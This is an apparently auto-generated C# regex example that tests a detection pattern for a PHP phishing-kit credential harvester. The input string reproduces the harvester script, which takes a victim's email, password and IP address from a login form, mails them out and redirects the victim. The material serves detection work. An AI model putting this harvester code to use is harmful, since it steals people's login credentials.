using System;
using System.Text.RegularExpressions;
public class Example
{
public static void Main()
{
string pattern = @"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$ip\s*=\s*getenv\(['""]REMOTE_ADDR[""']\);(\s*\$\w+\s*\.=\s*).{0,90}?\$_POST\[[""']up_email[""']\]\.""\\n"";\s*\1['""]\s*Password.{0,50}?\1['""]confirm\s*password.{0,90}?\1['""]\-+created\s*by\s*burhan\-+\\n[""'];\s*include\s*[""']email\.php.{0,50}?mail\([^;]+;\s*header\s*\(['""]location:\s*\w+.php\?email=\$email(?:[^>]+>\s*)?$";
string input = @"<?
$ip = getenv(""REMOTE_ADDR"");
$message .= ""--------------New Login--------\n"";
$message .= ""Email-ID : "".$_POST['up_email'].""\n"";
$message .= "" Password : "".$_POST['up__X_PASSWORD'].""\n"";
$message .= ""confirm password : "".$_POST['Password'].""\n"";
$message .= ""Client IP : "".$ip.""\n"";
$message .= ""---------------Created BY Burhan-----------\n"";
include 'email.php';
$subject = ""--New Log $ip "";
mail($to,$subject,$message,$headers);
header (""Location: incorrect.php?email=$email"".$_POST['up_email']);
?>";
RegexOptions options = RegexOptions.IgnoreCase | RegexOptions.Singleline;
foreach (Match m in Regex.Matches(input, pattern, options))
{
Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index);
}
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx